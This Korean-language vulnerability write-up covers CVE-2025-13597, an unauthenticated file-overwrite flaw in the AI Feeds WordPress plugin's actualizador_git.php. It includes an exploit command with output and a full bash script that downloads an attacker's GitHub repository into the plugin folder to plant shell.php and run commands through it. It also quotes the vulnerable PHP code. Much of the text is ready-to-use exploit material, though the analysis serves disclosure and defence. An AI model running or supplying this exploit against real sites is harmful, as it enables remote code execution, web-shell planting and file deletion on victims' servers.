
AI Feeds <= 1.0.11 - 인증되지 않은 임의 파일 업로드
AI Feeds WordPress 플러그인 1.0.11 이하 버전에는 actualizador_git.php 파일에 인증되지 않은 원격 코드 실행 취약점이 존재합니다. 이 파일은 인증이나 권한 확인 없이 HTTP로 직접 접근할 수 있어, 인증되지 않은 공격자가 임의의 GitHub 저장소를 다운로드하고 플러그인 파일을 덮어써 원격 코드 실행을 유발할 수 있습니다.
CVE-2025-13597.py는 원격 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 과정을 시연하기 위해 제공됩니다:
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND
취약점은 /wp-content/plugins/ai-feeds/actualizador_git.php에 존재합니다. 이 파일은 보안 통제 없이 HTTP로 직접 접근할 수 있는 GitHub 저장소 미러링 시스템을 구현합니다.
직접 파일 접근 (Line 1-17):
이 파일에는 직접적인 HTTP 접근을 차단하는 표준 WordPress ABSPATH 검사(if (!defined('ABSPATH')) exit;)가 없습니다. 매개변수는 검증 없이 $_GET에서 직접 읽습니다:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_ai-feeds';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
토큰 검증 (Line 26): 유일한 검증은 토큰이 비어 있거나 기본값인지 확인하는 것입니다. 인증이나 권한 부여는 수행되지 않습니다:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
GitHub API 요청 (Line 31, 35-58): 스크립트는 사용자가 제어하는 매개변수를 사용하여 GitHub API에서 ZIP 파일을 다운로드합니다:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
curl_download() 함수는 Authorization 헤더에 토큰을 전송하지만 저장소 소유자나 콘텐츠에 대한 검증은 수행하지 않습니다.
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"
ZIP 추출 및 파일 작업 (Line 144-169): 다운로드된 ZIP이 압축 해제되고 파일이 플러그인 디렉터리로 직접 복사됩니다:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
rrcopy_into() 함수는 압축 해제된 저장소의 모든 파일을 현재 작업 디렉터리(플러그인 디렉터리)에 재귀적으로 복사하여 기존 파일을 덮어씁니다.
파일 삭제 (Line 164-165): 다운로드된 저장소에 없는 파일은 삭제됩니다:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
mirror_delete_extras() 함수는 플러그인 디렉터리에서 저장소 매니페스트에 존재하지 않는 모든 파일을 삭제합니다.